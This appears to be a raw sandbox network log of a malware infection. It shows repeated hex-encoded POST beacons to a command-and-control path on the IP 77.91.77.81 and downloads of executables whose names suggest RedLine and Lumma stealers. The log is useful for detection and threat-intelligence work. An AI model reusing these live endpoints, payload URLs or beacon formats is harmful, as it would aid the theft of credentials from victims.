Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000004001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /lend/judit.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000005001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /lend/redline123123.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000007001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /lend/upd.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000008001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /lend/lumma123.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000009001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /lend/lrthijawd.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000012001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /lend/services64.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000014001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
